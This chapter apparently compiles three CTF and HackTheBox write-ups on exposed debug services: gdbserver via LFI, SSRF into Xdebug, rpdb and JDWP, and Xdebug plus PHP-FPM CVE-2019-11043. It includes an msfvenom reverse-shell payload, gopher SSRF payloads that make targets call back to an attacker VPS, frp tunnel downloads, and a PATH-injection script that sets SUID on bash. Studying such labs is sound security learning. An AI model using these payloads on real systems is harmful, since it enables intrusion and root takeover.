调试协议与服务暴露
调试功能本来就具备读取状态或执行表达式的能力,风险取决于谁能到达这些接口。本章并列 gdbserver、Xdebug、rpdb、JDWP 和 PHP-FPM 的原实验,保留协议格式、端口和触发时机。
分析重点
Backdoor 先用文件读取定位进程,再连接 gdbserver。
Mimic-SSRF 的三种语言分别使用自己的调试协议,断点和回连方向都随记录呈现。
Static 的备份修复、OTP、Xdebug 与 ersatool 分支保留完整上下文。
案例与技术索引
| 分析入口 | 实验来源 | 技术点 |
|---|---|---|
| 进程文件读取与 gdbserver | backdoor | LFI、gdbserver、SUID |
| 三个语言运行时的调试协议 | mimic-ssrf | SSRF、Xdebug、rpdb、JDWP |
| 损坏备份、OTP 与 Xdebug | static | Xdebug、PHP-FPM、2FA、PATH |
进程文件读取与 gdbserver
ebook-download 文件读取用于定位 1337 端口对应进程,gdbserver 提供执行入口,screen 的 SUID 会话成为后续提权点。
来源 backdoor · 原记录 2021-11-22 · 9 个代码块 · 4 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Easy
Points: 20
Release: 20 Nov 2021
IP: 10.10.11.125
Enumeration
NMAP
1 | ┌──(root💀kali)-[~/hackthebox/machine/backdoor] |
User
==================
- Find the PID for port 1337 (use burp intruder or wfuzz)
1 | wfuzz -u 'http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdline' -z range,900-1000 |
- You will see something like this, confirming gdbserver is running on port 1337
1 | while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;" |
- create a payload
1 | msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.17 LPORT=4444 -f elf -o rev.elf |
- Run gdb on localhost and then run the following commands
1 | target extended-remote 10.10.11.125:1337 |
wait a second till stacked at main function, this should give shell as “user”
1 | ┌──(root💀kali)-[~/hackthebox/machine/backdoor] |
Root
================
1 | user@Backdoor:/home/user$ find / -perm -4000 -ls 2>/dev/null |
SUID set on screen and there is session name root
1 | export TERM=xterm |
1 | root@Backdoor:~# id |
Summary of knowledge
- fuzz the PID for port 1337 through wp ebook-download plugin file download
- get reverse shell through remote debuging gdb server
- use screen SUID file to privesclation
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
三个语言运行时的调试协议
同一题目分别分析 PHP Xdebug、Python rpdb 和 Java JDWP。gopher、proc 文件、断点与转发路径是三套既有实验的对应证据。
来源 mimic-ssrf · 原记录 2022-01-17 · 19 个代码块 · 10 处图片引用
查看分析过程、攻击步骤与完整代码
介绍
本文内容来自于ichunqiu的伽玛实验场之拟态挑战mimic-ssrf,借鉴邬江兴院士拟态防御理论设计的mimic-ssrf题目,该题目是个通过ssrf进行RCE的web环境,三种开发语言的debug调试器,代表了三种单异构体。一般黑客的攻击指令只会由一个异构体进行执行反馈,明确的攻击指令会有明确的反馈结果,但是在这道题中选手的攻击指令必须同时让3个异构体反馈一致的结果,不然在拟态的防御机制中,就会被表决失效。
类似于生物界的拟态防御,在网络空间防御领域中,使用拟态技术可极大的提升黑客攻击的难度。
本题内网使用了3种语言所搭建的服务,分别php、python和java,通过ssrf可以访问内网服务,并且服务都是设置debug模式,想办法获取到有用的信息,得到flag。
- 参考原writeup【拟态挑战WP】2021年春秋杯秋季赛mimic-ssrf,原writeup步骤不完整,故重新补充记录
分析
mimic指的是“拟态”,ssrf指的是“由攻击者构造形成由服务端发起请求的安全漏洞”。再由题目描述可知,应该是要通过ssrf暴露远程debug端口,利用三种编程语言的debug调试器进行攻击。
该题以ssrf为入口:
尝试使用file协议读文件ssrf?url=file:///etc/passwd
1 | GET /ssrf?url=file:///etc/passwd HTTP/1.1 |
可以看到成功读到/etc/passwd。
这个时候我们就可以考虑通过对linux下面的proc目录遍历进程,收集有用的信息。
/ssrf?url=file:///proc/§1§/cmdline可以得到大概有四个服务,如下:
java服务


php服务

python服务

根据题目描述可知,本题内网使用了3种语言所搭建的服务,分别php、python和java,接下来就按顺序来分析和利用。
php Xdebug RCE
XDebug是PHP的一个扩展,用于调试PHP代码.我们访问带有XDEBUG_SESSION_START参数时,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)将debug信息转发到相关客户端的调试端口并且可以执行相关调试函数,即可在目标服务器上执行任意PHP代码。
先读取index.php文件看看有什么信息。
1 | GET /ssrf?url=file:///web/php/index.php HTTP/1.1 |
php的http服务里面什么都没有,读取php.ini
1 | GET /ssrf?url=file:///etc/php/7.2/cli/php.ini HTTP/1.1 |
可以发现开启了xdebug和相关配置,client_port是13000。
我们可以现在自己的vps执行如下python脚本
- exp.py
1 |
|
关于php Xdebug RCE想了解更多可以参考以下文章,及exp脚本:
- XDebug 远程调试漏洞(代码执行)
- xdebug-rce.py
通过gopher构造get请求的原始数据
1 | gopher://127.0.0.1:7410/_GET%2520%252Findex.php%253FXDEBUG_SESSION_START%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A7410%250D%250AUser-Agent%253A%2520curl%252F7.58.0%250D%250AAccept%253A%2520*%252F*%250D%250AX-Forwarded-For%253A%2520vps-ip%250D%250A%250D%250A |
以上gopher数据url decode之后如下所示
1 | gopher://127.0.0.1:7410/_GET /index.php?XDEBUG_SESSION_START HTTP/1.1 |
意思是使用gopher协议请求开放在内网的本地7410端口的index.php的XDEBUG_SESSION_START,然后X-Forwarded-For头指向自己vps的地址:vps-ip
使用burp多发几次包即可:
1 | GET /ssrf?url=gopher://127.0.0.1:7410/_GET%2520%252Findex.php%253FXDEBUG_SESSION_START%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A7410%250D%250AUser-Agent%253A%2520curl%252F7.58.0%250D%250AAccept%253A%2520*%252F*%250D%250AX-Forwarded-For%253A%2520vps-ip%250D%250A%250D%250A HTTP/1.1 |
vps接着收到了信息;然后可以system(“ls /“)执行任意代码了。
1 | root@vsdfva:~# python2 exp.py |
将CDATA中的base64字符串解密即可得到执行命令的结果
1 | ┌──(root💀kali)-[~] |
同时获取到第一个php的flag
python rpdb RCE
rpdb扩展了pdb,让pdb支持远程调试功能.使用rpdb的python脚本在远程启动,本地通过telnet方式连接上rpdb提供的调试端口(默认端口4444),可以直接执行python代码。
先读/web/python/app.py
1 | GET /ssrf?url=file:///web/python/app.py HTTP/1.1 |
发现使用了远程调试器rpdb。
我们可以直接通过gopher协议攻击python把flag写入到/tmp/,然后直接通过file协议读取python flag。
1 | GET /ssrf?url=gopher://127.0.0.1:4444/_open("/tmp/python_flag","w").write(fl1l1l1l1laaggg) HTTP/1.1 |
1 | GET /ssrf?url=file:///tmp/python_flag HTTP/1.1 |
获取到第二个python flag
java JDWP RCE
Java 虚拟机为 Java 语言提供 Java debugger、JDB 调试功能,应用在编译过程中可以开启 Remote Debug 模式,方便程序员远程对代码进行调试。但是,该模式没有身份校验机制,且可执行系统命令
首先将/web/java/Hello_web.jar下载到本地分析
1 | >> system("ls -la /web/java/ |base64 -w 0") |
同样先查看源码/web/java/Hello_web.jar,使用jd-gui打开
可以发现是触发了String.equals这个函数。
需要做socket代理(使用frp)
远程搭建一个http服务,让容器下载我们的frp的工具,通过php的shell下载文件,搭建socket隧道
frp服务端及客户端配置可参考下列文章:
- frp实现内网穿透(通过设置http代理/Socks代理)
vps开两个终端执行下列命令:
1 | root@vsdfva:~# python -m SimpleHTTPServer 81 |
1 | root@vsdfva:~# ./frps -c frps.ini |
在靶场的php shell中执行下列命令
1 | system("curl -L http://vpsip:81/frpc -o /tmp/frpc") |
然后就是配置好/etc/proxychains.conf之后,再攻击java的debug(proxychains 配置的是自己的socket配置)
- jdwp-shellifier
打之后,通过ssrf的接口服务java的web服务即可触发断点,将java flag写入/tmp/java_flag,然后通过文件读取读取java flag
1 | ┌──(root💀kali)-[~] |
1 | GET /ssrf?url=file:///tmp/java_flag HTTP/1.1 |
三个flag合并在一起得到最终的flag
1 | flag{bcfd890f-621c-4a1f-a466-7a3353e9543e} |
损坏备份、OTP 与 Xdebug
压缩包修复和 OTP 先恢复入口,Xdebug 与 PHP-FPM 是不同执行路径。后半段 ersatool 的 PATH 和 OpenSSL 行为保留原始验证。
来源 static · 原记录 2021-06-26 · 34 个代码块 · 4 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Hard
Points: 40
Release: 19 Jun 2021
IP: 10.10.10.246
Enumeration
use nmap as usual
1 | ┌──(root💀kali)-[~/hackthebox/machine/static] |
There are three ports open 22:ssh,2222:ssh(Strange) 8080:http
Port-80
Blank Page Strange.
Now let’s use gobuster.
1 | ┌──(root💀kali)-[~/hackthebox/machine/static] |
Found robots.txt let’s check it out what directories disallow there.
- /vpn/
There is a login page and we don’t have creads for that.
- /.ftp_uploads/
Two files first is db.sql.gz and second is warning.txt
Warning tell us about the db.sql.gz file that been corrupted while transfer!!
After some google i found a tool for fix the corrupted gz files.
- fixgz
But first install the requirements for that.
1 | apt-get install g++ |
let’s compile that cpp file.
1 | ┌──(root💀kali)-[~/hackthebox/machine/static] |
Now let’s fix the corrupted gz file.
1 | ┌──(root💀kali)-[~/hackthebox/machine/static] |
Now it’s fixed let’s extract the gz file.
1 | ┌──(root💀kali)-[~/hackthebox/machine/static] |
Now let’s try to crack the hash(d033e22ae348aeb5660fc2140aec35850c4da997).
1 | ┌──(root💀kali)-[~/hackthebox/machine/static] |
Got the username(admin) & password(admin) let’s try to login in inside /vpn/login.php
Admin account has 2FA enabled.
But the good news is we have the secret totp(orxxi4c7orxwwzlo)
- firefox add-ons Authenticator
Let’s use this extension and get the OTP.
Copy the OPT and send it.
Now we are inside Support Portal
Let’s type web and get the web.ovpn file.
Now let’s connect with web.ovpn file.
But it’s giving us error let’s check the file.
We see that it’s want vpn.static.htb
let’s add this inside /etc/hosts.
1 | 10.10.10.246 vpn.static.htb |
Now let’s try to connect.
Now let’s go to this web ip.
But it’s loading and we can’t see the web page.
We see in the image that we have two interface first tun0 second tun9 but in tun9 we have the ip 172.30.0.9 and the web page we want to access that’s ip is 172.20.0.10
So we want to add the route for access the web page in tun9 interface.
1 | ip route add 172.20.0.0/24 dev tun9 |
And now we can access the web page.
Let’s go to info.php
And we have the phpinfo page.
Found the xdebug let’s check the exploit for that.
Got the metasploit module let’s try to exploit with that.
- xdebug Unauthenticated OS Command Execution
1 | msf6 exploit(unix/http/xdebug_unauth_exec) > options |
And inside /home/www-data/.ssh we got the id_rsa of www-data user so let’s use ssh for more stable shell.
1 | pwd |
let’s login with ssh now
But it’s doesn’t work on default ssh port.
1 | ┌──(root💀kali)-[~/hackthebox/machine/static] |
Let’s try with custom port of ssh 2222 which we see inside nmap scan.
And we got the user.txt
Privilege escalation
If you see on the Support Portal we have another network of ip(192.168.254.3).
And if we see inside our ssh Connection we are in the same network on eth1 interface.
1 | www-data@web:/home$ ifconfig |
let’s do port forwarding with ssh so we can access the network
1 | ┌──(root💀kali)-[~/hackthebox/machine/static] |
Now let’s go to localhost or 127.0.0.1 and we got the page.
There is nothing on the website just saying batch mode: /usr/bin/ersatool…
And if we check the header we see PHP-FPM/7.1 is running let’s check the exploit for that.
PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043) Analysis
CVE-2019-11043 poc
After reading the article i understand that how to exploit this and get rev shell.
Step 1
Git clone the repo and get the exploit.py file and delete the directory.
Step 2
create simple script to make things easy.
luci.py
1 | import requests |
Step 3
Download the nc binary.
- nc
Step 4
Put all 3 files in one folder and transfer them with scp.
1 | ┌──(root💀kali)-[~/hackthebox/machine/static] |
Now open 2 ssh Connections and start netcat listner on 9001 in one of the ssh connection.
After start the netcat listner run the exploit.py
1 | www-data@web:/tmp$ python3 exploit.py --url http://192.168.254.3/index.php |
After running the exploit you got the url. we don’t need to open that url because we create a script for that so they open that and add the python3 exploit and we got the rev shell.
We just need to run the dedsec.py for 2-3 times and we got the shell.
1 | www-data@web:/tmp$ ./nc -lvp 9001 |
Now if you remember we see a file called ersatool on web page. Let’s check that file.
After checking that file i known that it’s a binary which running as root.
1 | www-data@pki:~/html$ ls -al /usr/bin/ersatool |
And after some enumeration i found the source code that file.
1 | www-data@pki:~/html$ find / -name ersatool.* 2>/dev/null |
source code of ersatool binary.
- ersatool.c
1 | #include |
So we have two methods for geeting root
- using format string vulnerability
- path injection
So i use path injection for doing that.
So let’s monitor the calls of binary with pspy but the problem is how do we transfer that pspy binary on that machiene because there is no curl and wget or nothing for that.
But i found a way to transfer pspy into machiene by help of this article.
- how to download a file using just bash and nothing else
With the help of this bash script i will transfer that pspy binary.
1 | function __curl() { |
Step 1
First thing first let’s download the pspy binary.
- pspy64s
Step 2
Then transfer the pspy binary into www-data with scp.
1 | scp -P 2222 -i id_rsa_www-data pspy64s www-data@10.10.10.246:/tmp/pspy |
Step 3
Start the python3 server on the /tmp directory.
1 | www-data@web:/tmp$ python3 -m http.server 1337 |
Step 4
Follow the steps again to get the second shell with luci.py because we want two shells first is for running pspy second is for running ersatool binary.
After everything ready go to the shell which we get from luci.py and paste the whole script on terminal.
- go to /tmp directory
- create a directory www
- paste the whole code which we get from stackoverflow
- then call the function with __curl
- and download the file inside /tmp/www directory
1 | www-data@pki:~/html$ cd /tmp |
Now after transferring pspy run that on first rev shell.
1 | www-data@pki:/tmp/www$ chmod +x pspy |
Now on second rev shell run that ersatool binary.
1 | /usr/bin/ersatool |
And i capture all calls of the binary and i found that openssl was call without giving the full path.
1 | 2021/06/26 11:49:27 CMD: UID=0 PID=1977 | openssl version |
So we can use that for Privilege escalation using path injection
- Linux Privilege Escalation Using PATH Variable
Now i create a file called openssl with the bash content inside in my local machiene.
openssl
1 |
|
Now base64 encode this and copy the base64 string.
1 | ┌──(root💀kali)-[~/hackthebox/machine/static] |
Create a directory inside /tmp folder called pwn
1 | www-data@pki:/tmp$ mkdir pwn |
Now paste that base64 encode string and decode it and save that output in a file called openssl
1 | www-data@pki:/tmp/pwn$ echo "IyEvYmluL2Jhc2gKY2htb2QgdStzIC9iaW4vYmFzaAo=" | base64 -d > openssl |
Now just run the ersatool binary and check the /bin/bash binary as shown
And we see that /bin/bash binary permission has been changed to suid bit set.
1 | www-data@pki:/tmp/pwn$ ersatool |
Now just execute the /bin/bash -p and get the root.txt file.
1 | www-data@pki:/tmp/pwn$ /bin/bash -p |
and we are done!
Summary of knowledge
- dir fuzz
- fix the corrupted gz file using fixgz
- john crack hash
- use firefox add-ons Authenticator to get OTP
- xdebug Unauthenticated OS Command Execution
- PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)
- download a file using just bash and nothing else
- using pspy to monitor ersatool binary proccess
- Linux Privilege Escalation Using PATH Variable
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…











